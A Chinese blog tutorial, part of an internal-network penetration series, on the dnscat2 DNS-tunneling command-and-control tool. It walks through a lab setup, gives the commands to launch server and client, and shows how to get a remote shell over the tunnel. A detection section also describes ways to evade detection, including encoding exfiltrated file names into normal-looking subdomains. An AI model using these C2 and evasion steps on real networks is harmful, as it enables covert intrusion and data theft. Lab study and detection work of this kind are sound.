当前位置:网站首页>内网渗透系列:内网隧道之dnscat2
内网渗透系列:内网隧道之dnscat2
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究DNS隧道的一个工具,dnscat2
github:https://github.com/iagox86/dnscat2
一、概述
1、简介
最后更新于2020年,客户端是用 C 编写的,服务器是用 ruby 编写
IP over DNS,通过 DNS 协议创建加密的命令和控制 (C&C) 通道,直接运行工具即可实现数据传输、文件操作等命令和控制功能
- 利用合法DNS服务器实现DNS隧道
- C/S(dnscat/ dnscat2.rb)结构
- 默认混合使用TXT、CNAME、MX记录加密(base64)传输数据
- 支持直连/中继
- 提供好多命令和服务
2、原理
DNS原理见:一文搞明白DNS与域名解析
客户端:
-
在受感染的计算机上运行。C语言编写的,具有最小可能的依赖性。
-
运行模式如大多DNS隧道工具一样:Dnscat2客户端->DNS服务商->Dnscat2服务端。
-
如果没有购买域名,还可以在UDP/53上使用直连。它们会更快,但它在数据包中更明显,防火墙经常会阻止此模式
服务端:
-
Ruby语言编写,在服务器上运行。它除了监听在UDP/53上发送给它的消息之外,还要指定它应该监听哪个域名。
-
当它接收其中一个域名的流量时,它会尝试建立DNS连接。如果它接收到其他流量,它默认忽略它,当然你也可以在上游转发它。
3、用法
(1)服务端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
使用
#启动
sudo ruby./dnscat2.rb abc.com --secret=123456 # abc.com 自定义DNS传输的域名;--secret 自定义连接密码
sudo ruby./dnscat2.rb --dns host=127.0.0.1,port=533 --secret=123456 #设置监听端口
sudo ruby./dnscat2.rb abc.com --secret=123456 --security=open --no-cache #--security 规定了安全级别;--no-cache 禁止缓存
(2)客户端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
使用
dnscat --secret=123456 abc.com
dnscat --dns server=<your dnscat2 server ip>,port=553 --secret=123456
(3)使用隧道
内置了很多服务
服务端的控制台输入:windows,即可以看到一个客户端上线:
1 :: command (DESKTOP-7NSDT5)……
1表示该客户端ID,如果使用window -i 1,即可进入该通道;
键入shell,即可得到一个半交互shell!(功能有点强)
help可查看控制台支持的命令,常用的有:
quit (退出控制台)
kill <id> (中断通道)
set(设值,比如设置security=open)
windows(列举出所有的通道)
window -i <id>(连接某个通道)
连接通道后,使用help同样可以看到其内支持的命令(单个命令后跟-h也会解释该命令):
clear(清屏)
delay(修改远程会话超时时间)
exec(执行远程机上的程序)
shell(得到一个反弹shell)
download/upload(两端之间上传下载文件)
supend(返回到上一层,等于快捷键ctrl+z)
二、实践
1、测试场景
(1)攻击机
Kali2021 192.168.10.128
(2)DNS服务器
windows server 2008 :192.168.10.200
设置静态IP,参见https://blog.csdn.net/pockeyfan/article/details/42063683
新建A记录,指向服务端kali

新建一个委托(即NS记录)指向刚刚设定的A记录的域名

再建一个A记录指向windows server自己

(3)目标机
Ubuntu 18.04 192.168.10.129
由于模拟的是DNS服务器是真正的权威服务器,即目标机应该能DNS解析到DNS服务器,所以要把目标机的DNS解析改下

nslookup检测下

2、建立隧道
(1)服务端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install
启动

(2)客户端
安装
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
启动

(3)使用
在创建的window 1 中可以进行下步命令
dnscat提供了大量命令,用?可以获取,这里展示一个shell

3、抓包看看
建立隧道

心跳包,CNAME、TXT、MX混用,但是域名是异常域名

三、探索
1、源码与分析
TODO
2、检测与绕过
(1)特征字符串
工具作者的恶趣味,内容里加了个dnscat

绕过方法:删掉即可
(2)异常DNS数据包数量
虽然将命令放在了心跳包里,没有造成某时刻的密集数据包,但是总的数据包数量还是大于正常的,且心跳包的间隔也是个问题
绕过方法:心跳包间隔拉长,甚至随机;数据包数量换UDP socket重新建立
(3)异常域名
所有包的域名都很异常,可以通过长度、熵等办法检测
绕过方法:心跳包用正常域名,命令可以base64后拆分
比如现在要把一个文件名 finalexamanswer.doc 传出去
base64 一下 -> ZmluYWxleGFtYW5zd2VyLmRvYw
然后编码常用域名,变成 Zm -> zone.music.domain,lu -> login.user.domain,YW``yun.web.domain …
(4)特殊记录类型
虽然已经TXT、MX、CNAME混用了,但还是有点特殊
绕过办法:加入A和AAAA混合
结语
dnscat2将C2直接写进了工具中,这很厉害,同时也很有可能带来更多特征
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/119210434
边栏推荐
- Houdini地形与流体解算(模拟泥石流)
- VBA调用SAP RFC实现数据读取&写入
- STO With Billing 跨公司库存转储退货
- The problem of exporting excel form with wireframe and internal spacing of form by using web form
- Gets the maximum getmaxpoint in the list of all points
- Index locked data cannot be written to es problem handling
- Unity获取真实地理地图应用Terrain笔记
- ES6 uses recursion to implement deep copy
- NodeJS(一) 事件驱动编程
- 双面显示的shader
猜你喜欢

【NLP笔记】CRF原理初探

Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight

SAP STO With Billing流程与配置

Houdini fluid > > particle fluid export to unity note
![[unity VFX] Introduction notes of VFX special effects - spark production](/img/bb/a6c637d025dfb8877e6b85e7f39d6b.png)
[unity VFX] Introduction notes of VFX special effects - spark production

第四章 无形资产

TA notes of Zhuang understand (VII) < Lambert + Phong + shadow + 3evcolor + Ao >

《内网安全攻防:渗透测试实战指南》读书笔记(八):权限维持分析及防御

SAP自建表log功能开启

Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
随机推荐
Dropping Pixels for Adversarial Robustness
Complete color conversion formulas and conversion tables (31 kinds)
Shapley Explanation Networks
ABAP ALV显示金额与导出金额不一致
Encapsulate the debug function of unity
第七章 资产减值
03Scanner类的使用(控制台输入)
Daily question | fear dominated by reverse linked list
Understanding the Role of Individual Units in a Deep Neural Networks(了解各个卷积核在神经网络中的作用)
Index locked data cannot be written to es problem handling
Towords Open World Object Detection
STO With Billing 跨公司库存转储退货
Dropping Pixels for Adversarial Robustness
VBA调用SAP RFC实现数据读取&写入
Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
庄懂的TA笔记(七)<Lambert+Phong+Shadow+3EvColor+AO>
Houdini地形与流体解算(模拟泥石流)
NodeJS(一) 事件驱动编程
【Unity VFX】VFX特效入门笔记-火花制作
Samplecamerafilter